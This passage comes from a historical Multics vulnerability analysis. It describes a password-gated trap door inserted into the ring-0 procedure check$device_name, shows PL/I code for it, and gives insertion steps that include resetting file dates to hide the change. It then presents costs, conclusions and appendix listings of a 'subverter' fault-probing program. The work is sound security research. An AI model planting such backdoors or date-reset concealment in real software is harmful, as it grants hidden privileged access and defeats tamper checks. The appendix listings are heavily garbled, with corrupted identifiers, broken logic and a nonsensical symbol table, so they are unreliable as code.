To demonstrate the feasibility of inserting and distributing trap doors, the following object code change was made to check\$device\_name to provide a generalized dump or patch facility. Figure 13 shows a PL/I program that performs essentially the same function as the trap door actually inserted in the object code. The listing of the actual trap door and its calling program is in Appendix C. check\$device\_name is normally called with three arguments, the third being a fixed binary error code. The trap door is inserted at the point at which check\$device\_name would have returned. The trap door looks at the 72 bits immediately following the error code that was passed by the caller. If those 72 bits match a predefined 72 bit password, then the fixed binary word to which ptr1 points is copied into the fixed binary word to which ptr2 points. Since check\$device\_name is a ring 0 procedure, this copy is carried out using the ring 0 descriptor segment and allows the caller to read or write any word in ring 0. Dump and patch utilities can use this trap door exactly like the Insufficient Argument Validation vulnerability. The 72 bit key is used to ensure that the vulnerability is not invoked by accident by some unsuspecting user.

The actual insertion of the trap door was done by the following steps:

1. Change user identification to project SysLib.

2. Make patch in object archive copy of check\$device\_name in >ldd>hard>object.

3. Reset DTM on object archive.

4. Make patch in bound archive copy of check\$device\_name in >ldd>hard>bound_components.

5. Reset DTM on bound archive.

6. Reset user identification.

This procedure ensured that the object patch was in all library copies of the segment. The DTM was reset as in Section 3.4.4, because the dates on library segments are
check$device_name: procedure (a, b, code);

declare 1 code parameter,
  2 err_code fixed binary (35),
  2 key bit (72) aligned,
  2 ptr1 pointer aligned,
  2 ptr2 pointer aligned;

declare overlay fixed binary (35) based;

/* Start of regular code */

...;

/* Here check$device_name would normally return */

if key = bit_string_constant_password
then ptr2 -> overlay = ptr1 -> overlay;

return;

end check$device_name;

Figure 13. Trapdoor in check$device_name
checked regularly for unauthorized modification. These operations did not immediately install the trap door. Actual installation occurred at the time of the next system tape generation.

A trap door of this type was first placed in the Multics system at MIT in the procedure del_dir_tree. However, it was noted that del_dir_tree was going to be modified and recompiled in the installation of Multics system 18.0. Therefore, the trap door described above was inserted in check$device_name just before the installation of 18.0 to avoid the recompilation problem. Honeywell was briefed in the spring of 1973 on the results of this vulnerability analysis. At that time, Honeywell recompiled check$device_name, so that the trap door would not be distributed to other sites.

3.4.6 Preview of 6180 Procedural Vulnerabilities

To actually demonstrate the feasibility of trap door distribution, a change which could have included a trap door was inserted in the Multics software that was transferred from the 645 to the 6180 at MIT and from there to all 6180 installations in the field.

3.5 Manpower and Computer Costs

Table III outlines the approximate costs in man-hours and computer charges for each vulnerability analysis task. The skill level required to perform the penetrations was that of a recent computer science graduate of any major university with a moderate knowledge of the Multics design documented in the Multics Programmers' Manual <MPH73> and Organick <NPC72>, plus nine months experience as a Multics programmer. In addition, the penetrator was aided by access to the system listings (which are in the public domain) and access to an operational Multics system on which to debug penetrations. In this example, the RADC system was used to test penetrations prior to their use at MIT, since a system crash at MIT would reveal the intentions of the penetrations. (39)

Costs are broken down into identification, confirmation, and exploitation. Identification is that

(39) It should be noted that while the MIT system was crashed twice due to typographical errors during the penetration, the RADC system was never crashed.
part of the effort needed to identify a particular vulnerability. It generally involves examination of system listings, although it sometimes involves computer work. Confirmation is the effort needed to confirm the existence of a vulnerability by using it in some manner, however crude, to access information without authorization. Exploitation is the effort needed to develop and debug command procedures to make use of the vulnerabilities convenient. Wherever possible, these command procedures follow standard Multics command conventions.

All figures in the table are conservative estimates as actual accounting information was not kept during the vulnerability analysis. However, costs did not exceed the figures given and in all probability were somewhat lower.

The costs of implementing the subverter and inverting the password scrambler are not included, because those tasks were not directly related to penetrating the system (See Downey <DOW74>). The Master Mode Transfer vulnerability has no exploitation cost shown, because that vulnerability was not carried beyond confirmation.
<table>
<thead>
<tr>
<th>Task</th>
<th>Identification</th>
<th>Confirmation</th>
<th>Exploitation</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Manhrs</td>
<td>CPU $</td>
<td>Manhrs</td>
<td>CPU $</td>
</tr>
<tr>
<td>Execute Instruction Access Check Bypass</td>
<td>60</td>
<td>$150</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>Insufficient Argument Validation</td>
<td>1</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>Master Mode Transfer</td>
<td>0.5</td>
<td>$0</td>
<td>2</td>
<td>$20</td>
</tr>
<tr>
<td>Unlocked Stack Base</td>
<td>0.5</td>
<td>$0</td>
<td>8</td>
<td>$50</td>
</tr>
<tr>
<td>Forging User ID</td>
<td>5</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>check$device_name Trap door</td>
<td>5</td>
<td>$0</td>
<td>8</td>
<td>$50</td>
</tr>
<tr>
<td>Access Password File (Does not include deciphering.)</td>
<td>1</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>Total</td>
<td>73</td>
<td>$150</td>
<td>38</td>
<td>$240</td>
</tr>
</tbody>
</table>
SECTION IV
CONCLUSIONS

The initial implementation of Multics is an instance of an uncertified system. For any uncertified system:

a. The system cannot be depended upon to protect against deliberate attack.

b. System "fixes" or restrictions (e.g., query only systems) cannot provide any significant improvement in protection. Trap door insertion and distribution has been demonstrated with minimal effort and fewer tools (no phone taps) than any industrious foreign agent would have.

However, Multics is significantly better than other conventional systems due to the structuring of the supervisor and the use of segmentation and ring hardware. Thus, unlike other systems, Multics can form a base for the development of a truly secure system.

4.1 Multics is not Now Secure

The primary conclusion one can reach from this vulnerability analysis is that Multics is not currently a secure system. A relatively low level of effort revealed examples of vulnerabilities in hardware security, software security, and procedural security. While all the reported vulnerabilities were found in the HIS 645 system and happen to be fixed by the nature of the changes in the HIS 6180 hardware, other vulnerabilities exist in the HIS 6180. (40) No attempt was made to find more than one vulnerability in each area of security. Without a doubt, vulnerabilities exist in the HIS 645 Multics that have not been identified. Some major areas not even examined are I/O, process management, and administrative interfaces. Further, an initial cursory examination of the HIS 6180 Multics easily turned up vulnerabilities.

We have seen the impact of implementation errors or omissions in the hardware vulnerability. In the

(40) In all fairness, the HIS 6180 does provide significant improvements by the addition of ring hardware. However, ring hardware by itself does not make the system secure. Only certification as a well-defined closed process can do that.
software vulnerabilities, we have seen the major security impact of apparently unimportant ad hoc designs. We have seen that the development site and distribution paths are particularly attractive for penetration. Finally, we have seen that the procedural controls over such areas as passwords and auditing are no more than "security blankets" as long as the fundamental hardware and software controls do not work.

4.2 Multics as a Base for a Secure System

While we have seen that Multics is not now a secure system, it is in some sense significantly "more secure" than other commercial systems and forms a base from which a secure system can be developed. (See Lipner <LI>74.</LI>) The requirements of security formed part of the basic guiding principles during the design and implementation of Multics. Unlike systems such as OS/360 or GCOS in which security functions are scattered throughout the entire supervisor, Multics is well structured to support the identification of the security and non-security related functions. Further Multics possesses the segmentation and ring hardware which have been identified <SML74> as crucial to the implementation of a reference monitor.

4.2.1 A System for a Benign Environment

We have concluded that AFUSC cannot run an open multi-level secure system on Multics at this time. As we have seen above, a malicious user can penetrate the system at will with relatively minimal effort. However, Multics does provide AFUSC with a basis for a benign multi-level system in which all users are determined to be trustworthy to some degree. For example, with certain enhancements, Multics could serve AFUSC in a two-level security mode with both Secret and Top Secret cleared users simultaneously accessing the system. Such a system, of course, would depend on the administrative determination that since all users are cleared at least to Secret, there would be no malicious users attempting to penetrate the security controls.

A number of enhancements are required to bring Multics up to a two-level capability. First and most important, all segments, directories, and processes in the system should be labeled with classification levels and categories. This labeling permits the classification check to be combined with the ACL check and to be represented in the descriptor segment. Second, an earnest
review of the Multics operating system is needed to identify vulnerabilities. Such a review is meaningful in Multics, because of its well structured operating system design. A similar review would be a literally endless task in a system such as OS/360 or GCOs. A review of Multics should include an identification of security sensitive modules, an examination of all gates and arguments into ring 0, and a check of all intersegment references in ring 0. Two additional enhancements would be useful but not essential. These are some sort of "high water mark" system as in ADEPT-50 (see Weissman (WIFKO)) and some sort of protection from user written applications programs that may contain "Trojan Horses".

4.2.2 Long Term Open Secure System

In the long term, it is felt that Multics can be developed into an open secure multi-level system by restructuring the operating system to include a security kernel. Such restructuring is essential since malicious users cannot be ruled out in an open system. The procedures for designing and implementing such a kernel are detailed elsewhere. (AND73, BL73-1, BL73-2, FL73, PR173, SCH73, SCL73, WAI74) To briefly summarize, the access controls of the kernel must always be invoked (segmentation hardware); must be tamperproof (ring hardware); and must be small enough and simple enough to be certified correct (a small ring 0). Certifiability is the critical requirement in the development of a multi-level secure system. ESD/MDL is currently proceeding with a development plan to develop such a certifiably secure version of Multics (ESD73).
REFERENCES


<IBM70> IBM System/360 Operating System Service Aids, IBM System Reference Library, GC28-6719-0, June 1970.


<IPC73> Information Processing Center, Summary of the U6180 Processor, Massachusetts Institute of Technology, 22 May 1973.


<SAL73> Saltzer, Jerome H., "Protection and Control of Information Sharing in Multics," ACM Fourth Symposium on


APPENDIX A

Subverter Listing

This appendix contains listings of the three program modules which make up the hardware subverter described in Section 3.2.1. The three procedure segments which follow are called subverter, coded in PL/1; access_violations_, coded in PL/1; and subv, coded in assembler. Subverter is the driving routine which sets up timers, manages free storage, and calls individual tests. Access_violations_ contains several entry points to implement specific tests. Subv contains entry points to implement those tests which must be done in assembler.

The internal procedure check_zero within subverter is used to watch word zero of the procedure segment for unexpected modification. This procedure was used in part to detect the Execute Instruction Access Check Bypass vulnerability.

The errors flagged in the listing of subv are all warnings of obsolete 645 Instructions, because the attached listing was produced on the 6180.
procedure:

    declare
    ncs_initiate_entry (char (*), char (*), char (*), fixed bin (1), fixed bin (2), ptr, fixed bin),
    date_time_entry (fixed bin (71), char (*)),
    default_handler_sess entry (entry), /* establishes default condition handler */
    timer_manager_set_alarm_call inhibit entry (fixed bin (71), bit (2), entry),
    /* sets alarm clocks */
    timer_manager_set_alarm_call entry (entry), /* resets alarm clocks */
    ncs_initiate_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin),
    /* create a segment */
    user_info_chmodr_entry (char (*)),
    cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
    /* get pointer to arguments */
    cos_err_entry options (variable),
    /* prints error messages */
    lso_sio_stream_entry options (variable), /* prints on lso streams */
    lso_entry options (variable), /* prints on user_output */
    cv_dec_check_entry (char (*), fixed bin) returns (fixed bin (39)),
    /* string to numeric conversion */
    subverters_timer_entry ext entry, /* entry to do the timing */
    /* does a cpu instruction */

    subv$cs,
    subv$si,$
    subv$si,$br,
    subv$si,$dr,$
    subv$si,$ec,$
    subv$si,$$,
    subv$si,$$a,$
    subv$si,$$$c,
    subv$si,$$$e,$
    subv$si,$$$i,$
    subv$si,$$$m,$
    subv$si,$$$s,$
    subv$si,$$$u,$
    subv$si,$$$v,$
    subv$si,$$$v$cu,$
    access_violations_illegal_opcodes,
    access_violations_illegal_fetch,
    access_violations_illegal_store,
    access_violations_fixed_fetch,
    access_violations_fixed_store,
    access_violations_sid,
    access_violations_illegal_binds_fault,
    access_violations_illegal_binds_fault)

    entry (ptr),
    clock_entry returns (fixed bin (71))

    declare
    i fixed bin,
    fp pointer,
    sp pointer int static,
    code fixed bin,
    wchar char (168),
    dp_string char (24),
    /* points to failure blocks */
    /* points to statistics segment */
arg char (arg1) based (arg1),
arg1 fixed bin,
arg0 pointer,
error_table bombed fixed bin (35) ext static,
seg_version fixed bin int static init (1),
max_test fixed bin int static init (22),
test_names (22) int static char (32) init ("cma", "scu", "ldt", "idtr", "sdbm", "clac", "ds",
"race", "sma", "scmc", "laci", "ia", "ss", "rcv", "fetch_access_violation",
"store_access_violation", "red_fetch_access_violation", "red_store_access_violation",
"lt_access_violation", "legal_bounds_fault", "illegal_bounds_fault", "illegal_opcode"),
ret_label label int static,
interval fixed bin (35) int static,
time fixed bin (71) ;

1/* start of include file subvert_statistics.incl.pl1 */
2
3Initially coded by Z Lt. Paul Karger 19 July 1972 0900 */
4
5declare
6
71 subvert_statistics based(s) aligned,
8
test fixed bin(17) unal, /* number of current test in progress */
9 next_code fixed bin(17) unal, /* next opcode number */
10 end_of_segment fixed bin(17) unal, /* rel pointer to end of segment */
11 last_failure_block fixed bin(17) unal, /* rel pointer to last failure block used */
12 test_in_progress fixed bin,
13
14time_of_last_test fixed bin(71), /* test number of test in progress
15cma_total_time fixed bin(71),
16number_of_tests fixed bin,
17
18testlist(number_of_tests) aligned,
19
20number_of_attempts fixed bin, /* number of attempts of this test */
21number_of_fails fixed bin, /* number of machine or software failures found */
22failure_block_ptr fixed bin(17) unal, /* rel pointer to start of threaded list of failure blocks */
23time_of_failure fixed bin(71),
24cma_test_time fixed bin(71),
25
26/* End of subvert_statistics.incl.pl1 */
27
281 /* start of include file failure_blocks.incl.pl1 */
29
30Initially coded by Z Lt. Paul Karger 19 July 1972 0900 */
31 Modified 21 July 72 0829 by P. Karger to use fixed bin unal
32
33declare
34
351 failure_block based(f) aligned,
36
37version fixed bin, /* version number = 1 */
38type fixed bin, /* index of test in test array */
39time_of_failure fixed bin(17), /* rel pointer to next failure block of this type */
40next_block fixed bin(17) unal,
41scu_data(5) fixed bin /* to be defined */
424*/
# End of include file failure_block, incl.p11 */

    /* default interval = 60 seconds */
    interval = 60;
    call cv_arg_ptr (l, argu, argf, code);
    if code = 0 Then
        do;
    if arg = "-stop" then
        do;
            call timer_manager_unset_alarm_call (subverter_timer);
        return;
        end;
        interval = cv_dec_check_ (arg, code);
    if code = 0 Then
        do;
            call cva_err_ (error_table&backward, "subverter", arg);
        return;
        end;
        end;
        call user_info_showedir (wdir);
    call hcs_make_seg (wdir, "subvert_statistics", ",", 01011b, true, code);
    if so = null () then
        do;
        no_seg;
        call cva_err_ (code, "subvert-", "subvert_statistics");
        return;
        end;
        if code = 0 Then
            do;
                /* segment is new */
                last_failure_block, end_of_segment = 1000000000000000000b;
                /* 64K segment length */
                number_of_tests = max_tests;
                cur_test = 1;
                next_code = -1;
                end;
        else do;
            /* segment already exists */
            if test_in_progress = 0 Then
                do;
                    /* test already exists for subverter */
                    test_name = test_in_progress;
                    /* test was in progress. Call subverter & set to clear segment and resume. */
                    test_names (test_in_progress);
                    return;
                end;
            end;
        finish_setup:
        time_of_last_test = clock_ ();
        do i = 1 to number_of_tests;
            last_test_time (i) = time_of_last_test;
        end;
        call timer_manager_unset_alarm_call (l, "II"b, subverter_timer);
        /* start in 1 second */
        return;
    end;
    subverter_reset:
    entry:
        if test_in_progress = 22 /* illegal opcode test */ then next_code = next_code - 1;
        test_in_progress = 0;
go to finish_setup;

subvert_timer:
entry ();

call check_zero ();
reset_label = next_setup;
call default_handler_set (fault_handler);
call get_failure_block (cur_test);
number_of_attempts (cur_test) = number_of_attempts (cur_test) * 1;
time = clock ();
cum_total_time = cum_total_time + time - time_of_last_test;
time_of_last_test = time;
cum_test_time (cur_test) = cum_test_time (cur_test) + time - last_test_time (cur_test);
last_test_time (cur_test) = time;
go to c (cur_test);
c (10):
call subvssic (fp);
go to scream_bloody_murder;

c (11):
call subvslect (fp);
go to scream_bloody_murder;

c (12):
call subvssae (fp);
go to scream_bloody_murder;

c (13):
call subvssae (fp);
go to scream_bloody_murder;

c (14):
call subvsrcu (fp);
go to scream_bloody_murder;

c (15):
call access_violations_fetch (fp);
go to scream_bloody_murder;

c (16):
call access_violations_store (fp);
go to scream_bloody_murder;

c (17):
call access_violations_sxed_fetch (fp);
go to scream_bloody_murder;

c (18):
call access_violations_sxed_store (fp);
go to scream_bloody_murder;

c (19):
call access_violations_slid (fp);
go to scream_bloody_murder;

c (20):
call access_violations_slegal_bounds_fault (fp);
go to scream_bloody_murder;

c (21):
call access_violations_sillegal_bounds_fault (fp);
go to screen_bloody_murder;

C (22):
call access_violations_illegal_opcodes (fp);
go to screen_bloody_murder;

screen_bloody_murder:
number_of_failures (cur_test) = number_of_failures (cur_test) + 1;
call ioa_file_stream("error_output", "*/-------------------/Free subverter Test "R"="B succeeded*/-------------------", test_names (cur_test)
);
test_in_progress = 01;

next_setup:
call check_zero ();
if cur_test = max_test then cur_test = 11
else cur_test = cur_test + 11
time = interval1;
call timer_manager_setarea_call_inhibit (time, "11"b, subverter_timer);
return;

display:
entry ();
call user_info_Rmcpdir (wdir);
call hcs_initialize (wdir, "subverter_statistics", "", 0, 0, sp, code);
if sp = null () then go to no_seq;
call ioa_ ("*/---Display of subverter statistics./*/"");
if test_in_progress = 0 then call ioa_ ("Test "R"="B in progress.", test_names (test_in_progress));
call ioa_ ("Total testing time = .2f hours.", cum_total_time/3600000000.0e0);
call ioa_ ("---Cumulative");
call ioa_ ("Test Name ---Test Time Attempts Failures");
do i = 1 to number_of_tests1;
call ioa_ ("---30s 8.2f "8d "0d", test_names (i), cum_test_time (i)/3600000000.0e0,
number_of_attempts (i), number_of_failures (i));
do fp = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, next_block)) while (rel (fp) ==
"0"b);
call date_time (time_of_failure, dt_string);
call ioa_ ("---Failure at "a.", dt_string);
end;
return;
get_failure_block:
proc (11);
declare
block_size (22) fixed bin init ((22) 32) int static,
io_fixed bin (17) word,
fp_ptr,
tp_ptr;
do p = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, fp_ptr next_block)) while (rel (p) ==
"0"b);
fp = p;}
end;
if failure_block_ptr (1) == 0 then /* there's already exists > 1 failure blocks for this type */
do;
f0 -> next_block, last_failure_block = last_failure_block - block_size (1);
f0 = pointer (sp, fp -> next_block);
/* thread on new block */
else;
/* this is the first failure block for this test type */
last_failure_block_ptr (1), last_failure_block = last_failure_block - block_size (1);
f0 = pointer (sp, failure_block_ptr (1));
/* set the pointer */
end;

fp -> failure_block_version = seg_version; /* initialize the block */
fp -> type = 1;
return;

free_failure_block:
entry (1); /* entry to free space free unneeded failure block */
fp = failure_block_version, fp -> type = 0; /* zero the data */
do p = pointer (sp, failure_block_ptr (1)) repeat (pointer (sp, p -> next_block)) while (rel (p) ==
rel (fp));
fp = p;
end;
if p = pointer (sp, failure_block_ptr (1)) then fp -> next_block = 0;
else failure_block_ptr (1) = 0;
last_failure_block = last_failure_block - block_size (1);
/* indicate space is free */

fa interesting

fault_handler (ac_str, cond_name, wc_ptr, info_ptr, continu)
/* procedure to catch interrupts */
declare
ac_str, /* pointer to saved machine conditions */
wci_str, /* pointer to machine conditions in reg 8 */
info_ptr, /* pointer to software defined info */
ptr;
cond_name char (*);
/* name of condition */

n_cond fixed bin int static init (0);
continue bit (1) aligned;
cond () char (32) int static init ("illegal_procure", "bad intersection", "access violation", "out of bounds err", "illegal opcode")
do i = 1 to n_cond;
if cond_name = cond (i) then
   do test_in_progress = 0;
      call free_failure_block (cur_test);
      /* free the failure block */
      go to ret_label;
   /* non-local goto */
end;

declare

1 impure based (impure_ptr) aligned;
2 lock_word bit (36) aligned;
2 compare_word bit (36) aligned;

declare

word_zero bit (36) aligned based (pointer ({impure_ptr, 0}),
impure_ptr pointer based (addr {label_var}),
label_var label,
exec_com entry options (variable),
select entry options (variable);
label_var = dummy_label;
if lock_word = "#b0 then
  do;
  call setacl (">ud>dpk>subverter", "re", "Karger.Druid.0");
  compare_word = word_zero;
  lock_word = "#b1;
  call setacl (">ud>dpk>subverter", "re", "Karger.Druid.0");
  end;
else
  if compare_word = word_zero then call exec_com (">ud>Druid>Karger>subverter.error",
  test_names (cur_test));
  return;
dummy_label;
  i = i + 1;
  i = i + 1;
end;
<table>
<thead>
<tr>
<th>LINE</th>
<th>NUMBER</th>
<th>NAME</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>78</td>
<td>1</td>
<td>subvert_statistics.incl.pll</td>
<td>+user_dir+dir+Druid+Karger+compiler_pool+subvert_statistics.incl.pll</td>
</tr>
<tr>
<td>71</td>
<td>2</td>
<td>failure_block.incl.pll</td>
<td>+user_dir+dir+Druid+Karger+compiler_pool+failure_block.incl.pll</td>
</tr>
<tr>
<td>NAME DECLARED IN THIS COMPILATION.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------------------------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>IDENTIFIER</strong></td>
<td><strong>OFFSET</strong></td>
<td><strong>LOC STORAGE CLASS</strong></td>
<td><strong>DATA TYPE</strong></td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;fetch</td>
<td>000374</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;id</td>
<td>000044</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;illegal bounds*</td>
<td>000140</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;illegal codes</td>
<td>000372</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;store</td>
<td>000376</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;fixed_fetch</td>
<td>000440</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>access violations</em>_ &amp;fixed_store</td>
<td>000442</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>arg</td>
<td>000165</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>arg</td>
<td>000164</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>base_size</td>
<td>000426</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>clock</td>
<td>000412</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>code</td>
<td>000019</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>continue</td>
<td>000026</td>
<td>parameter</td>
<td>char(32)</td>
</tr>
<tr>
<td>continue</td>
<td>000322</td>
<td>parameter</td>
<td>char(32)</td>
</tr>
<tr>
<td><em>cum_total_time</em></td>
<td>20</td>
<td>based</td>
<td>fixed bin(71,0)</td>
</tr>
<tr>
<td><em>cur_test</em></td>
<td>6</td>
<td>based</td>
<td>fixed bin(71,0)</td>
</tr>
<tr>
<td><em>cv_dec_check_</em></td>
<td>000332</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>date_time</em></td>
<td>000336</td>
<td>constant</td>
<td>char(24)</td>
</tr>
<tr>
<td><em>default_handler</em>_ &amp;set</td>
<td>000335</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td><em>dt_string</em></td>
<td>000157</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td><em>end_of_segment</em></td>
<td>000444</td>
<td>externals static</td>
<td>fixed bin(35,0)</td>
</tr>
<tr>
<td><em>error_table</em>_ &amp;bedapt</td>
<td>000446</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td><em>exec_code</em></td>
<td>000102</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td><em>failure_block_ptr</em></td>
<td>14</td>
<td></td>
<td></td>
</tr>
<tr>
<td><em>fp</em></td>
<td>000346</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>ncs(&amp;_init)</td>
<td>000346</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td><em>nxs_</em> &amp;num_seq*</td>
<td>000180</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td><em>l_1</em></td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td><em>lapiure_ptr</em></td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td><em>info_ptr</em></td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>LINE LOC</td>
<td>LINE LOC</td>
<td>LINE LOC</td>
<td>LINE LOC</td>
</tr>
<tr>
<td>----------</td>
<td>----------</td>
<td>----------</td>
<td>----------</td>
</tr>
<tr>
<td>1 000041</td>
<td>77 000437</td>
<td>73 000442</td>
<td>74 000448</td>
</tr>
<tr>
<td>1 000047</td>
<td>67 000433</td>
<td>66 000442</td>
<td>65 000441</td>
</tr>
<tr>
<td>1 000043</td>
<td>63 000431</td>
<td>63 000432</td>
<td>63 000432</td>
</tr>
<tr>
<td>1 000045</td>
<td>64 000432</td>
<td>64 000432</td>
<td>64 000432</td>
</tr>
<tr>
<td>1 000049</td>
<td>65 000434</td>
<td>65 000434</td>
<td>65 000434</td>
</tr>
<tr>
<td>1 000051</td>
<td>67 000436</td>
<td>67 000436</td>
<td>67 000436</td>
</tr>
<tr>
<td>1 000052</td>
<td>68 000437</td>
<td>68 000437</td>
<td>68 000437</td>
</tr>
<tr>
<td>1 000053</td>
<td>69 000438</td>
<td>69 000438</td>
<td>69 000438</td>
</tr>
<tr>
<td>1 000054</td>
<td>70 000439</td>
<td>70 000439</td>
<td>70 000439</td>
</tr>
<tr>
<td>1 000055</td>
<td>70 000440</td>
<td>70 000440</td>
<td>70 000440</td>
</tr>
</tbody>
</table>

THE FOLLOWING EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.
error_table_break
COMPILED LISTING OF SEGMENT access_violations
Compiled on 04/10/74 18:31.9 est wed

Options: map

1 access_violations;

2 procedure;

3 declare;

4 /* start of include file subvert_statistics.incl.pl1 */

5 /* should never enter here */

6 initially coded by Z L. Paul Karger 19 July 1972 09:55 */

7 declare;

8 1 subvert_statistics based(iso) aligned;

9 2 cur_test fixed bin(17) unal;

10 2 next_code fixed bin(17) unal;

11 2 end_of_segment fixed bin(17) unal;

12 2 test_failure_block fixed bin(17) unal;

13 2 test_in_progress fixed bin,

14 2 time_of_last_test fixed bin(17);

15 2 cum_total_time fixed bin(1);

16 2 number_of_tests fixed bin

17 2 test failures (number of tests) aligned;

18 3 number_of_attempts fixed bin;

19 3 number_of_failures fixed bin;

20 3 failure_block_ptr fixed bin(17) unal;

21 3 test_failure fixed bin(17) unal;

22 3 test_test_time fixed bin(17);

23 3 cum_test_time fixed bin(17);

24 /* End of subvert_statistics.incl.pl1 */

25 /* Start of include file failure_block.incl.pl1 */

26 /* Should never enter here */

27 initially coded by Z L. Paul Karger 19 July 1972 09:55 */

28 /* Modified 21 July 72 08:28 by P. Karger to use fixed bin unal */

29 /* */

30 declare;

31 1 failure_block based(iso) aligned;

32 2 version fixed bin;

33 2 type fixed bin;

34 2 time_of_failure fixed bin(17);

35 2 next_block fixed bin(17) unal;

36 2 tcu_data(5) fixed bin

37 /* to be defined */

38 /* End of include file failure_block.incl.pl1 */

39 declare;

40 high_code fixed bin int static init (104);

41 hcs_truncate_seg entry (ptr, fixed bin, fixed bin).

42 scratch_ptr int static init (null ()),

43 /* */
codes (0,l04) fixed bin int static init (0, 1, 2, 3, 4, 6, 8, 10, 11, 12, 14, 15, 24, 25, 26, 28, 47, 56, 60,
72, 74, 75, 76, 83, 89, 90, 91, 92, 124, 136, 139, 148, 152, 160, 204, 228, 252, 258,
268, 269, 270, 271, 272, 274, 276, 278, 282, 284, 286, 298, 306, 366,
310, 311, 314, 315, 316, 318, 321, 322, 323, 324, 328, 329, 332, 334, 337, 338, 339,
394, 409, 418, 428, 444, 457, 458, 459, 460, 472, 476, 504),
bounds_fault_on_condition,
get_addr_entry returns (char (168)),
clock_entry returns (fixed bin (71)),
substr_op entry (ptr),
substr_op entry (fixed bin, ptr),
substr_op entry (ptr, fixed bin (35)),
substr_fetcher entry (ptr, fixed bin (35)),
substr_fetcher entry (ptr),
substr_fetcher entry (ptr),
hcs_smake_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin),
cat_error_entry options (variable),
hcs_scat_addl entry (char (*), char (*), char (*), fixed bin (5), dir (012) fixed bin (6), fixed
bin),
cu_level_get entry (fixed bin),
no_acc_p ptr int static init (null ()),
rem_p ptr int static init (null ()),
rem_p ptr int static init (null ()),
read_p ptr int static init (null ()),
code fixed bin,
fp_ptr,
sy pointer init (pointer (fp, 0)),
array (0162143) fixed bin (35) based,
bitstring (22159295) aligned based,
j fixed bin (35),
j fixed bin,
read_p based,
rings (012) fixed bin (6)
procedure;
    if read_p = null() then
    do;
        call hcs_make_seg ("", "subverter_tmp_2", "", 01110, read_p, code);
        read_p -> p = pointer (read_d, 7); /* create pointer to word 7 */
        subst (uspec (read_p -> p), 67, 6) = "01110b1"
        /* put in id modifier to its pointer */
        read_p -> array (7) = 10000000b1; /* fill in the tally in the indirect word */
        call cu_level_get (); /* get validation level */
        rings (*n) = n;
        call hcs_acl_add (get_odir (), "subverter_tmp_2", "", 81000b, rings, code);
        /* reset the acl */
    end;
end;

fetch:
entry (fp);
call get_no_acc_seg;
    i = no_acc_p -> array (0);
    time_of_failure = clock ();
    scu_data (i) = i;
    return;

store:
entry (fp);
call get_no_acc_seg;
    no_acc_p -> array (0) = 17;
    time_of_failure = clock ();
    return;

xed_fetch:
entry (fp);
call get_no_acc_seg;
call sub$xed_fetcher (no_acc_p, i);
    time_of_failure = clock ();
    scu_data (i) = i;
    return;

xed_store:
entry (fp);
call get_no_acc_seg;
call sub$xed_storer (no_acc_p, i);
    time_of_failure = clock ();
    return;

entry (fp);
call get_read_seg;
call sub$xed_instr (read_p);
    time_of_failure = clock ();
    return;

illegal_bounds_fault:
entry (fp);
call sub$lseg1 (rawa_p);
call $\mathit{bfl}_seg1 (rawa_p);
if rawa_p -> bits[0] = "0" then signal condition (bounds_fault-ok);
do i = 0 to 65535;
if rawa_p -> array (1) = 0 then
do
  time_of_failure = clock (1);
  scu_data (1) = i;
  scu_data (2) = rawa_p -> array (i);
  return;
end;
end;
scu_data (1) = -1;
scu_data (2) = 0;
return;

illegal_bounds_fault:
entry (fp);
call get_RAW_SEG:
call sub$lseg1 (rawa_p, i);
time_of_failure = clock (1);
scu_data (1) = i;
return;

illegal Oper:
entry (fp);
call get_SCRATCH_SEG:
if next_code = high_code then next_code = 0;
else next_code = next_code + 1;
call sub$lseg1 (codes (next_code), scratch_p);
time_of_failure = clock (1);
scu_data (1) = codes (next_code);
return;
end;
<table>
<thead>
<tr>
